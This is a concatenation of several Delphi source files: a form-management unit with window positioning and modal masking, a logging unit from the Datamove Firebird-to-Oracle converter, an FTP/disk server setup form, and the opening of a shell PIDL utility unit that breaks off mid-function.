procedure ApplySettings;
procedure GetForms<T: TDBForm>(Forms: TList<T>);
function Count: Integer;
property Forms[Index: Integer]: TDBForm read GetFormByIndex; default;
end;
type
TAnchorsArray = TDictionary<TControl, TAnchors>;
implementation
{$IFDEF PHOTODB}
uses
uFormInterfaces;
{$ENDIF}
function GetGUID: TGUID;
begin
CoCreateGuid(Result);
end;
procedure DisableAnchors(ParentControl: TWinControl; Storage: TAnchorsArray);
var
I: Integer;
ChildControl: TControl;
begin
for I := 0 to ParentControl.ControlCount - 1 do
begin
ChildControl := ParentControl.Controls[I];
Storage.Add(ChildControl, ChildControl.Anchors);
ChildControl.Anchors := [];
end;
//Add children
for I := 0 to ParentControl.ControlCount - 1 do
begin
ChildControl := ParentControl.Controls[I];
if ChildControl is TWinControl then
DisableAnchors(TWinControl(ChildControl), Storage);
end;
end;
procedure EnableAnchors(Storage: TAnchorsArray);
var
Pair: TPair<TControl, TAnchors>;
begin
for Pair in Storage do
Pair.Key.Anchors := Pair.Value;
end;
{ TDBForm }
procedure TDBForm.ApplySettings;
begin
//Calls after applying new settings and after form create
end;
procedure TDBForm.ApplyStyle;
begin
end;
procedure TDBForm.BeginTranslate;
begin
{$IFNDEF EXTERNAL}
TTranslateManager.Instance.BeginTranslate;
{$ENDIF}
end;
constructor TDBForm.Create(AOwner: TComponent);
begin
inherited;
if GetCurrentThreadId <> MainThreadID then
raise Exception.Create('Can''t create form from non-main thread!');
FRefCount := 0;
FWindowID := GUIDToString(GetGUID);
TFormCollection.Instance.RegisterForm(Self);
GOM.AddObj(Self);
FIsMaximizing := False;
FIsMinimizing := False;
FIsRestoring := False;
FDoPaintBackground := False;
{$IFDEF PHOTODB}
FMaskPanel := nil;
FMaskImage := nil;
FMaskCount := 0;
{$ENDIF}
end;
function TDBForm.CanUseMaskingForModal: Boolean;
begin
Result := True;
end;
procedure TDBForm.CustomFormAfterDisplay;
begin
//
end;
destructor TDBForm.Destroy;
begin
{$IFDEF PHOTODB}
FormInterfaces.RemoveSingleInstance(Self);
{$ENDIF}
GOM.RemoveObj(Self);
TFormCollection.Instance.UnRegisterForm(Self);
inherited;
end;
function TDBForm.DisableMasking: Boolean;
begin
Result := False;
end;
procedure TDBForm.DoCreate;
begin
inherited;
{$IFDEF PHOTODB}
if ClassName <> 'TFormManager' then
TLoad.Instance.RequiredStyle;
if IsWindowsVista then
begin
Updating;
DisableAlign;
SetVistaFonts(Self);
EnableAlign;
Updated;
end;
FixLayout;
ApplyStyle;
ApplySettings;
{$ENDIF}
end;
procedure TDBForm.EndTranslate;
begin
{$IFNDEF EXTERNAL}
TTranslateManager.Instance.EndTranslate;
{$ENDIF}
end;
procedure TDBForm.FixFormPosition;
var
I: Integer;
Form: TDBForm;
X, Y: Integer;
R: TRect;
FoundForm: Boolean;
function BRect(X, Y, Width, Height: Integer): TRect;
begin
Result := Rect(X, Y, X + Width, Y + Height);
end;
function CalculateFormRect: TRect;
var
AppMon, WinMon: HMONITOR;
I, J: Integer;
ALeft, ATop: Integer;
LRect: TRect;
begin
Result := BRect(Left, Top, Width, Height);
if (DefaultMonitor <> dmDesktop) and (Application.MainForm <> nil) then
begin
AppMon := 0;
if DefaultMonitor = dmMainForm then
AppMon := Application.MainForm.Monitor.Handle
else if (DefaultMonitor = dmActiveForm) and (Screen.ActiveCustomForm <> nil) then
AppMon := Screen.ActiveCustomForm.Monitor.Handle
else if DefaultMonitor = dmPrimary then
AppMon := Screen.PrimaryMonitor.Handle;
WinMon := Monitor.Handle;
for I := 0 to Screen.MonitorCount - 1 do
if (Screen.Monitors[I].Handle = AppMon) then
if (AppMon <> WinMon) then
begin
for J := 0 to Screen.MonitorCount - 1 do
begin
if (Screen.Monitors[J].Handle = WinMon) then
begin
if Position = poScreenCenter then
begin
LRect := Screen.Monitors[I].WorkareaRect;
Result := BRect(LRect.Left + ((RectWidth(LRect) - Width) div 2),
LRect.Top + ((RectHeight(LRect) - Height) div 2), Width, Height);
end
else
if Position = poMainFormCenter then
begin
Result := BRect(Screen.Monitors[I].Left + ((Screen.Monitors[I].Width - Width) div 2),
Screen.Monitors[I].Top + ((Screen.Monitors[I].Height - Height) div 2),
Width, Height)
end
else
begin
ALeft := Screen.Monitors[I].Left + Left - Screen.Monitors[J].Left;
if ALeft + Width > Screen.Monitors[I].Left + Screen.Monitors[I].Width then
ALeft := Screen.Monitors[I].Left + Screen.Monitors[I].Width - Width;
ATop := Screen.Monitors[I].Top + Top - Screen.Monitors[J].Top;
if ATop + Height > Screen.Monitors[I].Top + Screen.Monitors[I].Height then
ATop := Screen.Monitors[I].Top + Screen.Monitors[I].Height - Height;
Result := BRect(ALeft, ATop, Width, Height);
end;
end;
end;
end else
begin
if Position = poScreenCenter then
begin
LRect := Screen.Monitors[I].WorkareaRect;
Result := BRect(LRect.Left + ((RectWidth(LRect) - Width) div 2),
LRect.Top + ((RectHeight(LRect) - Height) div 2), Width, Height);
end;
end;
end;
end;
begin
if Self.WindowState = wsMaximized then
Exit;
R := CalculateFormRect;
while True do
begin
FoundForm := False;
for I := 0 to TFormCollection.Instance.Count - 1 do
begin
Form := TFormCollection.Instance[I];
if (Form.BoundsRect.Left = R.Left) and (Form.BoundsRect.Top = R.Top) and Form.Visible and (Form <> Self) then
begin
X := R.Left + 20;
Y := R.Top + 20;
if (X + Width < Form.Monitor.BoundsRect.Right) and (Y + Height < Form.Monitor.BoundsRect.Bottom) then
begin
Position := poDesigned;
Left := X;
Top := Y;
R.Left := X;
R.Top := Y;
FoundForm := True;
end;
end;
end;
if not FoundForm then
Break;
end;
if Position <> poDesigned then
begin
SetBounds(R.Left, R.Top, RectWidth(R), RectHeight(R));
Position := poDesigned;
end;
end;
procedure TDBForm.FixLayout;
var
StoredAnchors: TAnchorsArray;
begin
if ((BorderStyle = bsSingle) or (BorderStyle = bsToolWindow)) and StyleServices.Enabled then
begin
StoredAnchors := TAnchorsArray.Create;
try
DisableAlign;
DisableAnchors(Self, StoredAnchors);
try
ClientWidth := ClientWidth + FrameWidth;
finally
EnableAnchors(StoredAnchors);
EnableAlign;
end;
finally
StoredAnchors.Free;
end;
end;
end;
function TDBForm.GetFrameWidth: Integer;
var
Size: TSize;
Details: TThemedElementDetails;
begin
Details := StyleServices.GetElementDetails(twFrameLeftActive);
StyleServices.GetElementSize(0, Details, esActual, Size);
Result := Size.cx;
end;
function TDBForm.GetTheme: TDatabaseTheme;
begin
Result := {$IFDEF PHOTODB}uThemesUtils.Theme{$ELSE}nil{$ENDIF};
end;
procedure TDBForm.HideMask;
begin
{$IFDEF PHOTODB}
Dec(FMaskCount);
if FMaskCount = 0 then
begin
BeginScreenUpdate(Handle);
try
FMaskPanel.Hide;
FMaskImage.Picture.Graphic := nil;
finally
EndScreenUpdate(Handle, False);
end;
end;
{$ENDIF}
end;
procedure TDBForm.InterfaceDestroyed;
begin
//do nothing
end;
function TDBForm.L(StringToTranslate: string; Scope: string): string;
begin
Result := {$IFDEF EXTERNAL}StringToTranslate{$ELSE}TTranslateManager.Instance.SmartTranslate(StringToTranslate, Scope){$ENDIF};
end;
function TDBForm.LF(StringToTranslate: string; Args: array of const): string;
begin
Result := FormatEx(L(StringToTranslate), args);
end;
function TDBForm.QueryInterfaceInternal(const IID: TGUID; out Obj): HResult;
begin
Result := inherited QueryInterface(IID, Obj);
end;
procedure TDBForm.Restore;
begin
if IsIconic(Handle) then
ShowWindow(Handle, SW_RESTORE);
end;
procedure BitmapBlur(Bitmap: TBitmap);
var
x, y: Integer;
yLine,
xLine: PByteArray;
begin
for y := 1 to Bitmap.Height -2 do begin
yLine := Bitmap.ScanLine[y -1];
xLine := Bitmap.ScanLine[y];
for x := 1 to Bitmap.Width -2 do begin
xLine^[x * 3] := (
xLine^[x * 3 -3] + xLine^[x * 3 +3] +
yLine^[x * 3 -3] + yLine^[x * 3 +3] +
yLine^[x * 3] + xLine^[x * 3 -3] +
xLine^[x * 3 +3] + xLine^[x * 3]) div 8;
xLine^[x * 3 +1] := (
xLine^[x * 3 -2] + xLine^[x * 3 +4] +
yLine^[x * 3 -2] + yLine^[x * 3 +4] +
yLine^[x * 3 +1] + xLine^[x * 3 -2] +
xLine^[x * 3 +4] + xLine^[x * 3 +1]) div 8;
xLine^[x * 3 +2] := (
xLine^[x * 3 -1] + xLine^[x * 3 +5] +
yLine^[x * 3 -1] + yLine^[x * 3 +5] +
yLine^[x * 3 +2] + xLine^[x * 3 -1] +
xLine^[x * 3 +5] + xLine^[x * 3 +2]) div 8;
end;
end;
end;
procedure TDBForm.PrepaireMask;
{$IFDEF PHOTODB}
var
Mask: TBitmap;
I, J: Integer;
P: PARGB;
R, G, B, W, W1: Byte;
Color: TColor;
{$ENDIF}
begin
{$IFDEF PHOTODB}
Inc(FMaskCount);
if FMaskCount <> 1 then
Exit;
Color := StyleServices.GetStyleColor(scWindow);
Color := ColorToRGB(Color);
R := GetRValue(Color);
G := GetGValue(Color);
B := GetBValue(Color);
Mask := TBitmap.Create;
try
Mask.PixelFormat := pf24Bit;
Mask.SetSize(ClientWidth, ClientHeight);
Mask.Canvas.CopyRect(ClientRect, Canvas, ClientRect);
W := 128;
W1 := 255 - W;
for I := 0 to Mask.Height - 1 do
begin
P := Mask.ScanLine[I];
for J := 0 to Mask.Width - 1 do
begin
P[J].R := (R * W + P[J].R * W1) shr 8;
P[J].G := (G * W + P[J].G * W1) shr 8;
P[J].B := (B * W + P[J].B * W1) shr 8;
end;
end;
BitmapBlur(Mask);
if FMaskPanel = nil then
begin
FMaskPanel := TPanel.Create(Self);
FMaskPanel.Visible := False;
FMaskPanel.Parent := Self;
FMaskPanel.BevelOuter := bvNone;
FMaskPanel.ParentBackground := False;
FMaskPanel.DoubleBuffered := True;
end;
FMaskPanel.SetBounds(0, 0, ClientWidth, ClientHeight);
if FMaskImage = nil then
begin
FMaskImage := TImage.Create(Self);
FMaskImage.Parent := FMaskPanel;
FMaskImage.Align := alClient;
end;
FMaskImage.Picture.Graphic := Mask;
finally
Mask.Free;
end;
FMaskPanel.BringToFront;
FMaskPanel.Show;
{$ENDIF}
end;
procedure TDBForm.ShowMask;
begin
{$IFDEF PHOTODB}
FMaskPanel.Show;
{$ENDIF}
end;
function TDBForm.ShowModal: Integer;
var
I: Integer;
Form: TDBForm;
Forms: TList<TDBForm>;
begin
if Self.DisableMasking then
Exit(inherited ShowModal);
Forms := TList<TDBForm>.Create;
try
for I := 0 to Screen.FormCount - 1 do
begin
if (Screen.Forms[I] is TDBForm) and (Screen.Forms[I] <> Self) and (Screen.Forms[I].Visible) then
begin
Form := TDBForm(Screen.Forms[I]);
if Form.CanUseMaskingForModal then
Forms.Add(Form);
end;
end;
for Form in Forms do
Form.PrepaireMask;
for Form in Forms do
Form.ShowMask;
try
Result := inherited ShowModal;
finally
for Form in Forms do
Form.HideMask;
end;
finally
F(Forms);
end;
end;
function TDBForm.QueryInterfaceEx(const IID: TGUID; out Obj): HResult;
begin
Result := inherited QueryInterface(IID, Obj);
end;
procedure TDBForm.WMSize(var Message: TWMSize);
begin
if Message.SizeType = SIZE_RESTORED then
FIsRestoring := True;
if Message.SizeType = SIZE_MINIMIZED then
FIsMinimizing := True;
if Message.SizeType = SIZE_MAXIMIZED then
FIsMaximizing := True;
try
inherited;
finally
FIsMinimizing := False;
FIsRestoring := False;
if FIsMaximizing then
begin
FIsMaximizing := False;
SendMessage(Handle, WM_NCPAINT, 0, 0);
end;
end;
end;
procedure TDBForm.WndProc(var Message: TMessage);
var
Canvas: TCanvas;
LDetails: TThemedElementDetails;
WindowRect: TRect;
begin
//when styles enabled and form is visible -> white rectangle in all client rect
//it causes flicking on black theme if Aero is enabled
//this is fix for form startup
if ClassName <> 'TFormManager' then
begin
if StyleServices.Enabled and FDoPaintBackground and not FWasPaint then
begin
if (Message.Msg = WM_NCPAINT) and (Win32MajorVersion >= 6) then
begin
FDoPaintBackground := False;
if DwmCompositionEnabled then
begin
Canvas := TCanvas.Create;
try
Canvas.Handle := GetWindowDC(Handle);
LDetails.Element := teWindow;
LDetails.Part := 0;
//get window size from API because VCL size not correct at this moment
GetWindowRect(Handle, WindowRect);
StyleServices.DrawElement(Canvas.Handle, LDetails, Rect(0, 0, WindowRect.Width, WindowRect.Height));
finally
ReleaseDC(Self.Handle, Canvas.Handle);
F(Canvas);
end;
CustomFormAfterDisplay;
end;
end;
end;
end else
begin
if Message.Msg = WM_SIZE then
Message.Msg := 0;
end;
if (Message.Msg = WM_PAINT) and StyleServices.Enabled then
FWasPaint := True;
if (Message.Msg = WM_NCACTIVATE) and StyleServices.Enabled then
FDoPaintBackground := True;
inherited;
end;
function TDBForm._AddRef: Integer;
begin
inherited _AddRef;
Result := AtomicIncrement(FRefCount);
end;
function TDBForm._Release: Integer;
begin
inherited _Release;
Result := AtomicDecrement(FRefCount);
if Result = 0 then
InterfaceDestroyed;
end;
function TDBForm.L(StringToTranslate: string): string;
begin
Result := {$IFDEF EXTERNAL}StringToTranslate{$ELSE}TTranslateManager.Instance.SmartTranslate(StringToTranslate, GetFormID){$ENDIF};
end;
var
FInstance: TFormCollection = nil;
{ TFormManager }
procedure TFormCollection.ApplySettings;
var
I: Integer;
begin
for I := 0 to FForms.Count - 1 do
FForms[I].ApplySettings;
end;
function TFormCollection.Count: Integer;
begin
Result := FForms.Count;
end;
constructor TFormCollection.Create;
begin
FSync := TCriticalSection.Create;
FForms := TList<TDBForm>.Create;
end;
destructor TFormCollection.Destroy;
begin
F(FSync);
F(FForms);
inherited;
end;
function TFormCollection.GetForm(WindowID: string): TDBForm;
var
I: Integer;
begin
Result := nil;
for I := 0 to FForms.Count - 1 do
begin
if FForms[I].WindowID = WindowID then
Result := FForms[I];
end;
end;
function TFormCollection.GetFormByBounds<T>(BoundsRect: TRect): TDBForm;
var
I: Integer;
begin
Result := nil;
for I := 0 to FForms.Count - 1 do
begin
if (FForms[I] is T) and EqualRect(FForms[I].BoundsRect, BoundsRect) then
Result := TDBForm(FForms[I]);
end;
end;
function TFormCollection.GetFormByIndex(Index: Integer): TDBForm;
begin
Result := FForms[Index];
end;
procedure TFormCollection.GetForms<T>(Forms: TList<T>);
var
I: Integer;
begin
for I := 0 to FForms.Count - 1 do
begin
if FForms[I] is T then
Forms.Add(FForms[I] as T);
end;
end;
function TFormCollection.GetImage(BaseForm: TDBForm; FileName: string;
Bitmap: TBitmap; var Width, Height: Integer): Boolean;
{$IFDEF PHOTODB}
var
I: Integer;
{$ENDIF}
begin
Result := False;
{$IFDEF PHOTODB}
if GOM.IsObj(BaseForm) and Supports(BaseForm, IImageSource) then
Result := (BaseForm as IImageSource).GetImage(FileName, Bitmap, Width, Height);
if Result then
Exit;
for I := 0 to FForms.Count - 1 do
begin
if Supports(FForms[I], IImageSource) then
Result := (FForms[I] as IImageSource).GetImage(FileName, Bitmap, Width, Height);
if Result then
Exit;
end;
{$ENDIF}
end;
class function TFormCollection.Instance: TFormCollection;
begin
if FInstance = nil then
FInstance := TFormCollection.Create;
Result := FInstance;
end;
procedure TFormCollection.RegisterForm(Form: TDBForm);
begin
if FForms.IndexOf(Form) > -1 then
Exit;
FForms.Add(Form);
end;
procedure TFormCollection.UnRegisterForm(Form: TDBForm);
begin
FForms.Remove(Form);
end;
initialization
finalization
F(FInstance);
end.
|
{
Datamove - Conversor de Banco de Dados Firebird para Oracle
licensed under a APACHE 2.0
Projeto Particular desenvolvido por Artur Barth e Gilvano Piontkoski para realizar conversão de banco de dados
firebird para Oracle. Esse não é um projeto desenvolvido pela VIASOFT.
Toda e qualquer alteração deve ser submetida à
https://github.com/Arturbarth/Datamove
}
unit uLog;
interface
uses Winapi.Windows, Winapi.Messages, IniFiles, Forms,
System.Classes;
type
ILog = interface
['{F2BE6249-89F5-41AB-812E-AD06E504BC09}']
procedure Logar(cTxt: string);
end;
TLog = class(TInterfacedObject, ILog)
private
public
class function New: ILog;
procedure Logar(cTxt: string);
end;
implementation
uses
System.SysUtils, System.ioutils, System.StrUtils;
{ TLog }
procedure TLog.Logar(cTxt: string);
var
ExePath, LogFileName: string;
Log: TStreamWriter;
begin
try
ExePath := TPath.GetDirectoryName(GetModuleName(HInstance));
LogFileName := FormatDateTime('yyyymmdd', Now)+'_'+ ReplaceStr(ExtractFileName(Forms.Application.ExeName), '.exe', '.log');
LogFileName := TPath.Combine(ExePath, LogFileName);
Log := TStreamWriter.Create(LogFileName, true);//TFileStream.Create(LogFileName, fmCreate or fmShareDenyWrite));
Log.AutoFlush := True;
try
Log.WriteLine(FormatDateTime('yyyy-mm-dd hh:mm:ss', Now) + ' ' + cTxt);
finally
Log.Free;
end;
except
on E: Exception do
begin
TFile.WriteAllText(TPath.Combine(ExePath, 'CRASH_LOG.TXT'), E.ClassName + ' ' + E.Message);
end
end;
end;
class function TLog.New: ILog;
begin
Result := TLog.Create;
end;
end.
{
Datamove - Conversor de Banco de Dados Firebird para Oracle
licensed under a APACHE 2.0
Projeto Particular desenvolvido por Artur Barth e Gilvano Piontkoski para realizar conversão de banco de dados
firebird para Oracle. Esse não é um projeto desenvolvido pela VIASOFT.
Toda e qualquer alteração deve ser submetida à
https://github.com/Arturbarth/Datamove
}
|
unit ServerSetup;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, ComCtrls, ImgList,
LMDCustomComponent, LMDBrowseDlg,
Servers;
type
TServerSetupForm = class(TForm)
ServerList: TListView;
Panel3: TPanel;
Button1: TButton;
NewButton: TButton;
DeleteButton: TButton;
ImageList1: TImageList;
PropertiesPanel: TPanel;
ServerPanel: TPanel;
Label4: TLabel;
HostLabel: TLabel;
Label1: TLabel;
Label10: TLabel;
NameEdit: TEdit;
HostEdit: TEdit;
TargetCombo: TComboBox;
Bevel1: TBevel;
FtpPanel: TPanel;
Label6: TLabel;
Label7: TLabel;
Label2: TLabel;
Label3: TLabel;
FTPUserEdit: TEdit;
FTPPasswordEdit: TEdit;
FTPHostEdit: TEdit;
FtpRootEdit: TEdit;
DiskPanel: TPanel;
Label11: TLabel;
RootEdit: TEdit;
BrowseButton: TButton;
Bevel3: TBevel;
RootBrowseDialog: TLMDBrowseDlg;
procedure NewButtonClick(Sender: TObject);
procedure EditChange(Sender: TObject);
procedure ServerListSelectItem(Sender: TObject; Item: TListItem;
Selected: Boolean);
procedure ServerListEdited(Sender: TObject; Item: TListItem;
var S: String);
procedure DeleteButtonClick(Sender: TObject);
procedure BrowseButtonClick(Sender: TObject);
private
{ Private declarations }
FUpdateLock: Boolean;
FServers: TServersItem;
function GetUpdateLock: Boolean;
procedure BeginUpdate;
procedure EndUpdate;
procedure SelectServer(inIndex: Integer);
procedure SetServers(const Value: TServersItem);
procedure UpdateEdits;
procedure UpdateItem;
procedure UpdateServerList;
procedure UpdateTarget;
property UpdateLock: Boolean read GetUpdateLock write FUpdateLock;
public
{ Public declarations }
property Servers: TServersItem read FServers write SetServers;
end;
var
ServerSetupForm: TServerSetupForm;
implementation
var
Item: TListItem;
Server: TServerItem;
{$R *.dfm}
procedure TServerSetupForm.SetServers(const Value: TServersItem);
begin
FServers := Value;
UpdateServerList;
end;
function TServerSetupForm.GetUpdateLock: Boolean;
begin
Result := FUpdateLock or (csLoading in ComponentState);
end;
procedure TServerSetupForm.BeginUpdate;
begin
UpdateLock := true;
end;
procedure TServerSetupForm.EndUpdate;
begin
UpdateLock := false;
end;
procedure TServerSetupForm.ServerListSelectItem(Sender: TObject;
Item: TListItem; Selected: Boolean);
begin
if Selected then
SelectServer(Item.Index);
end;
procedure TServerSetupForm.UpdateServerList;
var
i, s: Integer;
begin
with ServerList do
begin
Items.BeginUpdate;
try
if Selected <> nil then
s := Selected.Index
else
s := 0;
Clear;
for i := 0 to Pred(Servers.Count) do
with Items.Add, Servers[i] do
begin
Caption := DisplayName;
ImageIndex := Ord(Target);
end;
if Items.Count > 0 then
begin
if Items.Count > s then
Selected := Items[s]
else
Selected := Items[0];
end;
finally
Items.EndUpdate;
end;
PropertiesPanel.Visible := (Items.Count > 0);
PropertiesPanel.Height := 1;
end;
end;
procedure TServerSetupForm.NewButtonClick(Sender: TObject);
begin
Server := TServerItem.Create;
Server.DisplayName := 'New Server';
Servers.Add(Server);
UpdateServerList;
with ServerList do
Selected := Items[Pred(Items.Count)];
NameEdit.SetFocus;
NameEdit.SelectAll;
end;
procedure TServerSetupForm.DeleteButtonClick(Sender: TObject);
begin
if MessageDlg('Delete server "' + Server.DisplayName + '"?',
mtConfirmation, mbYesNoCancel, 0) = mrYes then
begin
FreeAndNil(Server);
UpdateServerList;
end;
end;
procedure TServerSetupForm.SelectServer(inIndex: Integer);
begin
Server := Servers[inIndex];
Item := ServerList.Items[inIndex];
UpdateEdits;
UpdateTarget;
end;
procedure TServerSetupForm.UpdateEdits;
begin
BeginUpdate;
try
with Server do
begin
NameEdit.Text := DisplayName;
HostEdit.Text := Host;
TargetCombo.ItemIndex := Ord(Target);
RootEdit.Text := Root;
FTPHostEdit.Text := FTPHost;
FTPUserEdit.Text := FTPUser;
FTPPasswordEdit.Text := FTPPassword;
end;
finally
EndUpdate;
end;
end;
procedure TServerSetupForm.UpdateItem;
begin
Item.Caption := Server.DisplayName;
end;
procedure TServerSetupForm.UpdateTarget;
begin
with Server do
begin
DiskPanel.Visible := (Target = stDisk);
FtpPanel.Visible := (Target = stFTP);
end;
end;
procedure TServerSetupForm.ServerListEdited(Sender: TObject;
Item: TListItem; var S: String);
begin
BeginUpdate;
try
NameEdit.Text := S;
Server.DisplayName := S;
finally
EndUpdate;
end;
end;
procedure TServerSetupForm.EditChange(Sender: TObject);
begin
if not UpdateLock then
begin
Server.DisplayName := NameEdit.Text;
Server.Host := HostEdit.Text;
Server.Target := TServerTarget(TargetCombo.ItemIndex);
case Server.Target of
stDisk:
begin
Server.Root := RootEdit.Text;
end;
stFTP:
begin
Server.FTPHost := FTPHostEdit.Text;
Server.FTPUser := FTPUserEdit.Text;
Server.FTPPassword := FTPPasswordEdit.Text;
Server.Root := FTPRootEdit.Text;
end;
end;
UpdateTarget;
UpdateItem;
end;
end;
procedure TServerSetupForm.BrowseButtonClick(Sender: TObject);
begin
RootBrowseDialog.SelectedFolder := RootEdit.Text;
if RootBrowseDialog.Execute then
RootEdit.Text := RootBrowseDialog.SelectedFolder;
end;
end.
|
unit VirtualPIDLTools;
// Version 1.3.0
//
// The contents of this file are subject to the Mozilla Public License
// Version 1.1 (the "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at http://www.mozilla.org/MPL/
//
// Alternatively, you may redistribute this library, use and/or modify it under the terms of the
// GNU Lesser General Public License as published by the Free Software Foundation;
// either version 2.1 of the License, or (at your option) any later version.
// You may obtain a copy of the LGPL at http://www.gnu.org/copyleft/.
//
// Software distributed under the License is distributed on an "AS IS" basis,
// WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for the
// specific language governing rights and limitations under the License.
//
// The initial developer of this code is Jim Kueneman <jimdk@mindspring.com>
//
//----------------------------------------------------------------------------
//
// This unit implements two classes to simplify the handling of PItemIDLists. They
// are:
// TPIDLManager - Exposes numerous methods to handle the details of
// manipulting and comparing PIDLs
// TPIDLList - A TList decendant that is tailored to store PIDLs
//
// USAGE:
// This unit is compiled with WeakPackaging because it is used in several
// different packages and Delphi does not allow this without WeakPackaging.
// A WeakPackaged unit can not have initialization or Finalization sections so
// due to this fact this unit must implement a "load on demand" for the undocumented
// PIDL functions.
//
// Jim Kueneman
// 2/20/02
// *****************************************************************************
//
// Software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND,
// either express or implied.
//
// *****************************************************************************
interface
{$include Compilers.inc}
{$include VSToolsAddIns.inc}
uses
Windows, Messages, SysUtils, Classes, Controls, ShlObj, ShellAPI,
{$IFNDEF COMPILER_5_UP}
VirtualUtilities,
{$ENDIF COMPILER_5_UP}
ActiveX,
VirtualWideStrings;
type
TPIDLManager = class; // forward
TPIDLList = class; // forward
TPIDLList = class(TList)
private
FSharePIDLs: Boolean; // If true the class will not free the PIDL's automaticlly when destroyed
FPIDLMgr: TPIDLManager;
FDestroying: Boolean; // Instance of a PIDLManager used to easily deal with the PIDL's
function GetPIDL(Index: integer): PItemIDList;
function GetPIDLMgr: TPIDLManager;
protected
property Destroying: Boolean read FDestroying;
property PIDLMgr: TPIDLManager read GetPIDLMgr;
public
destructor Destroy; override;
procedure Clear; override;
procedure CloneList(PIDLList: TPIDLList);
function CopyAdd(PIDL: PItemIDList): Integer;
function FindPIDL(TestPIDL: PItemIDList): Integer;
function LoadFromFile(FileName: WideString): Boolean;
function LoadFromStream( Stream: TStream): Boolean; virtual;
function SaveToFile(FileName: WideString): Boolean;
function SaveToStream( Stream: TStream): Boolean; virtual;
property SharePIDLs: Boolean read FSharePIDLs write FSharePIDLs;
end;
// TPIDL Manager is a class the encapsulates PIDLs and makes them easier to
// handle.
TPIDLManager = class
private
protected
FMalloc: IMalloc; // The global Memory allocator
public
constructor Create;
destructor Destroy; override;
function AllocStrGlobal(SourceStr: WideString): POleStr;
function AppendPIDL(DestPIDL, SrcPIDL: PItemIDList): PItemIDList;
function CopyPIDL(APIDL: PItemIDList): PItemIDList;
function EqualPIDL(PIDL1, PIDL2: PItemIDList): Boolean;
procedure FreeAndNilPIDL(var PIDL: PItemIDList);
procedure FreeOLEStr(OLEStr: LPWSTR);
procedure FreePIDL(PIDL: PItemIDList);
function CopyLastID(IDList: PItemIDList): PItemIDList;
function GetPointerToLastID(IDList: PItemIDList): PItemIDList;
function IDCount(APIDL: PItemIDList): integer;
function IsDesktopFolder(APIDL: PItemIDList): Boolean;
function IsSubPIDL(FullPIDL, SubPIDL: PItemIDList): Boolean;
function NextID(APIDL: PItemIDList): PItemIDList;
function PIDLSize(APIDL: PItemIDList): integer;
function PIDLToString(APIDL: PItemIDList): string;
function LoadFromFile(FileName: WideString): PItemIDList;
function LoadFromStream(Stream: TStream): PItemIDList;
procedure ParsePIDL(AbsolutePIDL: PItemIDList; var PIDLList: TPIDLList; AllAbsolutePIDLs: Boolean);
function StringToPIDL(PIDLStr: string): PItemIDList;
function StripLastID(IDList: PItemIDList): PItemIDList; overload;
function StripLastID(IDList: PItemIDList; var Last_CB: Word; var LastID: PItemIDList): PItemIDList; overload;
procedure SaveToFile(FileName: WideString; FileMode: Word; PIDL: PItemIdList);
procedure SaveToStream(Stream: TStream; PIDL: PItemIdList);
property Malloc: IMalloc read FMalloc;
end;
function ILIsEqual(PIDL1: PItemIDList; PIDL2: PItemIDList): LongBool;
function ILIsParent(PIDL1: PItemIDList; PIDL2: PItemIDList; ImmediateParent: LongBool): LongBool;
function GetMyDocumentsVirtualFolder: PItemIDList;
// Don't use the following functions, they are only here because with Weakpackaging
// on we can't use initializaiton and finialzation sections. Because of that we
// have to load the Shell 32 functions on demand, but if the package that uses
// this unit does not calls these functions the compiler gives us a "The unit
// does not use or export the function XXXX" This keeps the compiler quiet.
type
TShellILIsParent = function(PIDL1: PItemIDList; PIDL2: PItemIDList;
ImmediateParent: LongBool): LongBool; stdcall;
TShellILIsEqual = function(PIDL1: PItemIDList; PIDL2: PItemIDList): LongBool; stdcall;
procedure LoadShell32Functions;
var
ShellILIsParent: TShellILIsParent = nil;
ShellILIsEqual: TShellILIsEqual = nil;
implementation
uses
VirtualNamespace;
var
PIDLManager: TPIDLManager;
// -----------------------------------------------------------------------------
procedure LoadShell32Functions;
var
ShellDLL: HMODULE;
begin
ShellDLL := GetModuleHandle(PChar(Shell32));
// ShellDLL := LoadLibrary(PChar(Shell32));
if ShellDll <> 0 then
begin
ShellILIsEqual := GetProcAddress(ShellDLL, PChar(21));
ShellILIsParent := GetProcAddress(ShellDLL, PChar(23));
end
end;
// -----------------------------------------------------------------------------
function ILIsEqual(PIDL1: PItemIDList; PIDL2: PItemIDList): LongBool;
// Wrapper around undocumented ILIsEqual function. It can't take nil parameters
{$IFDEF VIRTUALNAMESPACES}
var
OldPIDL: PItemIDList;
OldCB: Word;
Desktop, Folder: IShellFolder;
IsVirtual1,
IsVirtual2: Boolean;
{$ENDIF}
begin
if not Assigned(ShellILIsEqual) then
LoadShell32Functions;
if Assigned(PIDL1) and Assigned(PIDL2) then
{$IFDEF VIRTUALNAMESPACES}
begin
Result := False;
IsVirtual1 := NamespaceExtensionFactory.IsVirtualPIDL(PIDL1);
IsVirtual2 := NamespaceExtensionFactory.IsVirtualPIDL(PIDL2);
if (IsVirtual1 and IsVirtual2) then
begin
if PIDLManager.IDCount(PIDL1) = PIDLManager.IDCount(PIDL2) then
begin
Folder := NamespaceExtensionFactory.BindToVirtualParentObject(PIDL1);
OldPIDL := PIDLManager.GetPointerToLastID(PIDL1);
if Assigned(Folder) then
Result := Folder.CompareIDs(0, OldPIDL, PIDLManager.GetPointerToLastID(PIDL2)) = 0
end
end else
if not IsVirtual1 and not IsVirtual2 then
begin
// Result := ShellILIsEqual(PIDL1, PIDL2)
// Believe it or not MY routine is faster than the M$ version!!!!
if PIDLManager.IDCount(PIDL1) = PIDLManager.IDCount(PIDL2) then
begin
if PIDLManager.IDCount(PIDL1) > 1 then
begin
PIDLManager.StripLastID(PIDL1, OldCB, OldPIDL);
SHGetDesktopFolder(Desktop);
if Succeeded(Desktop.BindToObject(PIDL1, nil, IID_IShellFolder, Folder)) then
begin
OldPIDL.mkid.cb := OldCB;
OldPIDL := PIDLManager.GetPointerToLastID(PIDL1);
Result := Folder.CompareIDs(0, OldPIDL, PIDLManager.GetPointerToLastID(PIDL2)) = 0
end else
OldPIDL.mkid.cb := OldCB;
end else
begin
SHGetDesktopFolder(Folder);
Result := Folder.CompareIDs(0, PIDL1, PIDL2) = 0
end
end
end
end
{$ELSE}
